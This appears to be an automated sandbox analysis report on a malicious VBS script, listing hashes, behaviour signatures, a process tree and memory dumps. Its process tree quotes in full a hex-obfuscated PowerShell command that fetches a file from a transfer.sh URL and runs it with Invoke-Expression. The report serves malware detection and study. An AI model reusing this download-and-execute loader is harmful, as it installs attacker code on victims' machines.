Overview

overview

8

Static

static

1

7a8e3b2ff5...fd.vbs

windows7-x64

3

7a8e3b2ff5...fd.vbs

windows10-2004-x64

8

Analysis

  • max time kernel
    140s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-01-2024 15:02

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Report Analysis Logs

General

  • Target

    7a8e3b2ff5ccd38e51738cb91d4e0dfd.vbs

  • Size

    3KB

  • MD5

    7a8e3b2ff5ccd38e51738cb91d4e0dfd

  • SHA1

    69a2689ec49a1b9481974e212eb6dda04da949c7

  • SHA256

    89646c9bfbb4edf70e0d2b0244e41b65bbdbf718db5e0a8bd9adb192541e6354

  • SHA512

    d9e68df88259b3e8bf093d64a1045c3b1c138987be374e0d0c0d3f2cdc55397fd1b76a9608112acf3abdfcfb1468d4019d9570de7addcd9c728813f9f436b5d7

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7a8e3b2ff5ccd38e51738cb91d4e0dfd.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3316
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SOS='2@-H-53-H-5A-H-58-H-@@-H-@3-H-@6-H-56-H-@7-H-@2-H-@8-H-@E-H-@A-H-53-H-@@-H-@6-H-@7-H-@8-H-20-H-3D-H-20-H-27-H-68-H-7@-H-7@-H-70-H-3A-H-2F-H-2F-H-7@-H-72-H-61-H-6E-H-73-H-66-H-65-H-72-H-2E-H-73-H-68-H-2F-H-67-H-65-H-7@-H-2F-H-59-H-@2-H-6A-H-76-H-39-H-6E-H-2F-H-@A-H-@B-H-6@-H-2E-H-7@-H-78-H-7@-H-27-H-3B-H-0D-H-0A-H-2@-H-@5-H-@@-H-52-H-@6-H-@7-H-@8-H-@E-H-@A-H-@D-H-@B-H-@@-H-@5-H-@6-H-@7-H-@8-H-@A-H-20-H-3D-H-20-H-27-H-6E-H-@5-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-@5-H-62-H-@3-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-5@-H-27-H-2E-H-52-H-65-H-70-H-6C-H-61-H-63-H-65-H-28-H-27-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-27-H-2C-H-27-H-7@-H-2E-H-57-H-27-H-29-H-2E-H-52-H-65-H-70-H-6C-H-61-H-63-H-65-H-28-H-27-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-27-H-2C-H-27-H-6C-H-@9-H-@5-H-@E-H-27-H-29-H-3B-H-0D-H-0A-H-2@-H-53-H-58-H-@@-H-@3-H-@6-H-56-H-@7-H-@2-H-@8-H-@E-H-@A-H-58-H-@@-H-@3-H-@6-H-56-H-@7-H-@2-H-@8-H-@A-H-@B-H-20-H-3D-H-20-H-27-H-@@-H-@F-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-61-H-@@-H-53-H-5@-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-@7-H-27-H-2E-H-52-H-65-H-70-H-6C-H-61-H-63-H-65-H-28-H-27-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-27-H-2C-H-27-H-57-H-6E-H-@C-H-6F-H-27-H-29-H-2E-H-52-H-65-H-70-H-6C-H-61-H-63-H-65-H-28-H-27-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-27-H-2C-H-27-H-72-H-@9-H-6E-H-27-H-29-H-3B-H-0D-H-0A-H-2@-H-53-H-57-H-58-H-@@-H-@5-H-@3-H-52-H-@6-H-@7-H-59-H-@8-H-55-H-@A-H-@9-H-53-H-@@-H-@6-H-56-H-@7-H-@8-H-@A-H-20-H-3D-H-27-H-@9-H-60-H-@5-H-58-H-28-H-6E-H-60-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-60-H-63-H-60-H-5@-H-20-H-2@-H-@5-H-@@-H-52-H-@6-H-@7-H-@8-H-@E-H-@A-H-@D-H-@B-H-@@-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-@7-H-@2-H-@8-H-@E-H-@A-H-53-H-@@-H-@6-H-@7-H-@8-H-29-H-27-H-2E-H-52-H-65-H-70-H-6C-H-61-H-63-H-65-H-28-H-27-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-27-H-2C-H-27-H-65-H-60-H-57-H-60-H-2D-H-@F-H-62-H-6A-H-60-H-@5-H-27-H-29-H-2E-H-52-H-65-H-70-H-6C-H-61-H-63-H-65-H-28-H-27-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-27-H-2C-H-27-H-@5-H-@6-H-@7-H-@8-H-@A-H-29-H-2E-H-2@-H-53-H-58-H-@@-H-@3-H-@6-H-56-H-@7-H-@2-H-@8-H-@E-H-@A-H-58-H-@@-H-@3-H-@6-H-56-H-@7-H-@2-H-@8-H-@A-H-@B-H-28-H-2@-H-53-H-5A-H-58-H-@@-H-@3-H-@6-H-56-H-27-H-29-H-3B-H-0D-H-0A-H-26-H-28-H-27-H-@9-H-27-H-2B-H-27-H-@5-H-58-H-27-H-29-H-28-H-2@-H-53-H-57-H-58-H-@@-H-@5-H-@3-H-52-H-@6-H-@7-H-59-H-@8-H-55-H-@A-H-@9-H-53-H-@@-H-@6-H-56-H-@7-H-@8-H-@A-H-20-H-2D-H-@A-H-6F-H-69-H-6E-H-20-H-27-H-27-H-29-H-7C-H-26-H-28-H-27-H-@9-H-27-H-2B-H-27-H-@5-H-58-H-27-H-29-H-3B-H-'.Replace('@','4');Invoke-Expression (-join ($SOS -split '-H-' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3848

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_epfzrss0.qhz.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    Download Submit

  • memory/3848-6-0x000001C85A000000-0x000001C85A022000-memory.dmp

    Filesize

    136KB

    Download

  • memory/3848-10-0x00007FFCD22C0000-0x00007FFCD2D81000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/3848-11-0x000001C857EE0000-0x000001C857EF0000-memory.dmp

    Filesize

    64KB

    Download

  • memory/3848-12-0x000001C857EE0000-0x000001C857EF0000-memory.dmp

    Filesize

    64KB

    Download

  • memory/3848-15-0x00007FFCD22C0000-0x00007FFCD2D81000-memory.dmp

    Filesize

    10.8MB

    Download